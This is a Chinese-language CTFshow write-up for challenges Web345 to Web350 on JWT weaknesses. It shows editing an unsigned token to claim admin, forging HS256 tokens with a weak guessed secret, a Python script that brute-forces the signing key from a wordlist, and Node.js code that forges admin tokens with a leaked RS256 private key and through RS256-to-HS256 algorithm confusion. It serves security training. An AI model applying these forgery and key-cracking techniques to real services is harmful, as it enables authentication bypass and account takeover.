【jwt】CTFshow jwt篇 WriteUp

本文最后更新于:2022年2月12日下午3点12分

Web345

打开题目:

源代码里面提示/admin

image-20211202191219446

访问/admin,自动跳转到index.php

查看响应头,可以看到cookie中有一个auth

image-20211202191311234

将auth的值base64解码

image-20211202191349154

里面sub键的值为user,将其修改为admin,重新加密回去传cookie

访问admin页面即可获得flag

image-20211202191513150

Web346

题目环境和上一题一样,查看cookie中的auth

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzODQ0MzczOCwiZXhwIjoxNjM4NDUwOTM4LCJuYmYiOjE2Mzg0NDM3MzgsInN1YiI6InVzZXIiLCJqdGkiOiI3NmE0Y2Q2ZTU4NGM2ZTFhMjI2MWFjMjRlNjU3Y2NlMyJ9.PAjhc4hQsfhy2Tsih7EkTFclkqogzWvOonJD5Qgy3nc

这次无法直接base64解码

image-20211202191647869

使用在线jwt.io网站

image-20211202192301257

同样修改sub键的值为admin,密钥盲猜123456(可以爆破)

得到jwt

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzODQ0NDEyNiwiZXhwIjoxNjM4NDUxMzI2LCJuYmYiOjE2Mzg0NDQxMjYsInN1YiI6ImFkbWluIiwianRpIjoiNWU1ZTJmMjZmNjIyMGE3OGNjZTBlNWYzM2E1MTlmOTQifQ.qd8lx3XUGNgfrFlj1Phf32T3j4b2GqxpqFcEt9x0e_M

传cookie,访问admin页面即可

image-20211202192334636

Web347

和上一题一样,密钥为123456

image-20211202192451672

image-20211202192444490

Web348

利用pydictor生成一个字典

1
python3 pydictor.py -base L --len 1 4 -o keys.txt

跑一下jwt脚本,爆出密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import jwt

def runblasting(path,jwt_str,alg):
if alg == "none":
alg = "HS256"
with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
print(' use '+key_)
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")

if __name__ == '__main__':
runblasting('keys.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0NDY0NDM4MSwiZXhwIjoxNjQ0NjUxNTgxLCJuYmYiOjE2NDQ2NDQzODEsInN1YiI6InVzZXIiLCJqdGkiOiIwZjU1NTBhOTAzNWYwZTMwZmVmZTk2YTg2Y2FmMDE0MiJ9.I8Yb7w7YKNeVpajLob8J1C1cqJVSfehSw4dvqsxtQqg','HS256')

image-20220212135229375

得到key为aaab,jwt加密之后传入访问admin页面得到flag

Web349

这题给了一个app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

将公钥和私钥下载下来

然后在一个空目录搭建一个脚手架:

1
npx express-generator

安装模块:

1
2
3
npm install http-errors
npm install fs
npm install jsonwebtoken

导入模块至app.js,将公钥和私钥放在public目录下

app.js文件修改后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var fs = require('fs');
var jwt = require('jsonwebtoken');

var indexRouter = require('./routes/index');
var usersRouter = require('./routes/users');

var router = express();

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

module.exports = router;

启动npm

1
npm start

然后访问127.0.0.1:3000,访问得到jwt,拿flag

Web350

这题给了源码,直接用上一题的改,将公钥复制到public目录下,再把app.js修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var fs = require('fs');
var jwt = require('jsonwebtoken');

var indexRouter = require('./routes/index');
var usersRouter = require('./routes/users');

var router = express();

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

module.exports = router;

参考资料